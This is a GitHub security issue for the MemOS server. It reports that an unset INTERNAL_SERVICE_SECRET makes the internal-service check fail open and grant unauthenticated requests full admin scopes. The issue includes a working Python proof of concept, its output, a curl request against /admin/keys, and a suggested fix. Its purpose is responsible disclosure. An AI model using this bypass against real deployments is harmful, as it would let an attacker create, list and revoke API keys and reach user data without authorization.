#2259·MemOS

Authentication bypass in MemOS server: internal-service check fails open when INTERNAL_SERVICE_SECRET is unset

Author: geo-chenCreated Aug 16, 2026Updated Sep 16, 2026
Labelstypes:bugstatus:stalearea:coreai:pr-readystatus:in-progress

Pre-submission checklist | 提交前检查

  • I have searched existing issues and this hasn't been mentioned before | 我已搜索现有问题,确认此问题尚未被提及
  • I have read the project documentation and confirmed this issue doesn't already exist | 我已阅读项目文档并确认此问题尚未存在
  • This issue is specific to MemOS and not a general software issue | 该问题是针对 MemOS 的,而不是一般软件问题

Bug Description | 问题描述

reported on 15 June 2026: https://github.com/MemTensor/MemOS/security/advisories/GHSA-9pw6-vmgx-qgwx

Summary

The MemOS authenticated server overlay (memos.api.server_api_ext:app, shipped as docker/Dockerfile.krolik) protects its admin API-key management endpoints with the verify_api_key dependency. Before validating a key, that dependency calls is_internal_request() to allow trusted container-to-container calls. The header branch of that function is:

python
internal_header = request.headers.get("X-Internal-Service")
return internal_header == os.getenv("INTERNAL_SERVICE_SECRET")

INTERNAL_SERVICE_SECRET has no default and is not set in any shipped configuration (Dockerfile, docker-compose, or the Helm chart). When it is unset, os.getenv(...) returns None. A normal external request that does not send the X-Internal-Service header has request.headers.get("X-Internal-Service") == None. The comparison becomes None == None, which is True, so the request is treated as an internal service and granted scopes: ["all"] without any API key.

The result is that with AUTH_ENABLED=true set (the operator has explicitly turned on authentication), an unauthenticated remote attacker is authorized as a fully privileged internal principal and can reach the admin API-key endpoints (create keys, list keys, revoke keys, generate a master key) as well as all data endpoints. The check fails open rather than closed.

Affected component

  • File: src/memos/api/middleware/auth.py
  • Functions: is_internal_request() (line 154) and verify_api_key() (line 182)
  • Consumed by: src/memos/api/routers/admin_router.py (every /admin/* route via Depends(verify_api_key) / Depends(require_scope("admin")))
  • Deployment: src/memos/api/server_api_ext.py (docker/Dockerfile.krolik)

Impact

  • Complete bypass of API-key authentication on a deployment that has explicitly enabled it (AUTH_ENABLED=true) but has not set the undocumented, defaultless INTERNAL_SERVICE_SECRET.
  • The bypassed principal receives scopes: ["all"], which satisfies require_scope("admin").
  • An unauthenticated attacker can mint new API keys for any user, enumerate existing keys, revoke keys (denial of service), and generate a master key, then use those keys for persistent privileged access.
  • CWE-697 (Incorrect Comparison) / CWE-305 (Authentication Bypass by Primary Weakness), fail-open.

Root cause

is_internal_request() compares two values that are both None in the default deployment:

  1. request.headers.get("X-Internal-Service") is None because a normal request does not send that header.
  2. os.getenv("INTERNAL_SERVICE_SECRET") is None because the variable is never set.

None == None is True, so every header-less request is classified as internal. The safe behavior is to treat an unset secret as "internal-via-header is disabled" and never match.

How to Reproduce | 如何重现

Proof of Concept

Prerequisites:

  • A clone of MemOS at v2.0.19.
  • Python 3.11+ with fastapi, starlette, pydantic available.
  • No special configuration. INTERNAL_SERVICE_SECRET is intentionally left unset, exactly as in every shipped Dockerfile / compose / Helm config. AUTH_ENABLED is set to true to show that authentication is enabled yet bypassed.

The PoC calls the real verify_api_key dependency the way FastAPI calls it for an admin route. It simulates a remote client (source IP 203.0.113.9, which is not in the trusted INTERNAL_SERVICE_IPS set) and sends no API key.

Save as poc.py inside the repository root and run with PYTHONPATH=src python3 poc.py:

python
import asyncio, os
# Operator turned authentication ON. INTERNAL_SERVICE_SECRET is left unset (the default).
os.environ["AUTH_ENABLED"] = "true"
os.environ.pop("INTERNAL_SERVICE_SECRET", None)

from starlette.requests import Request
from memos.api.middleware import auth as A

def make_request(headers):
    scope = {
        "type": "http",
        "method": "GET",
        "path": "/admin/keys",
        "client": ("203.0.113.9", 53124),  # external attacker, NOT an internal IP
        "headers": [(k.lower().encode(), v.encode()) for k, v in headers.items()],
    }
    return Request(scope)

async def main():
    print("AUTH_ENABLED          =", A.AUTH_ENABLED)
    print("INTERNAL_SERVICE_SECRET =", os.getenv("INTERNAL_SERVICE_SECRET"))

    # Attacker: external IP, no X-Internal-Service header, no API key.
    result = await A.verify_api_key(make_request({}), api_key=None)
    print("\n[A] no header, no key ->", result)

    # Control: same request but with a guessed header value -> correctly rejected.
    try:
        await A.verify_api_key(make_request({"X-Internal-Service": "guess"}), api_key=None)
        print("[B] wrong header value -> NOT rejected")
    except Exception as e:
        print("[B] wrong header value -> rejected:",
              getattr(e, "status_code", ""), getattr(e, "detail", e))

asyncio.run(main())

Observed output:

AUTH_ENABLED          = True
INTERNAL_SERVICE_SECRET = None

[A] no header, no key -> {'user_name': 'internal', 'scopes': ['all'], 'is_master_key': False, 'is_internal': True}
[B] wrong header value -> rejected: 401 Missing API key

Case [A] shows that an unauthenticated external request is granted scopes: ['all'] as the internal principal, which satisfies require_scope("admin") and unlocks every /admin/* endpoint. Case [B] confirms the gate works correctly whenever the two sides of the comparison differ; the vulnerability is exactly the None == None fail-open.

Over HTTP against a running server_api_ext instance, the equivalent request is:

bash
curl -s http://TARGET:8000/admin/keys

which passes the verify_api_key / require_scope("admin") dependencies as the internal principal instead of returning 401.

Additional observation (secondary)

server_api_ext.py mounts server_router with app.include_router(server_router) and no router-level auth dependency, so the /product/* data endpoints (/product/search, /product/get_all, /product/delete_memory, /product/chat/*, etc.) have no authentication even when AUTH_ENABLED=true. Only /admin/* carries Depends(verify_api_key). The fail-open issue above is what additionally exposes the admin key-management surface.

Suggested fix

  • In is_internal_request(), treat an unset secret as disabled and require a non-empty match:
python
secret = os.getenv("INTERNAL_SERVICE_SECRET")
internal_header = request.headers.get("X-Internal-Service")
if not secret or not internal_header:
    return False
return hmac.compare_digest(internal_header, secret)
  • Use a constant-time comparison (hmac.compare_digest) to avoid timing leaks.
  • Apply Depends(verify_api_key) (or an appropriate require_scope) to the server_router data endpoints so they are protected when AUTH_ENABLED=true.

Environment | 环境信息

docker

Additional Context | 其他信息

No response

Willingness to Implement | 实现意愿

  • I'm willing to implement this myself | 我愿意自己解决
  • I would like someone else to implement this | 我希望其他人来解决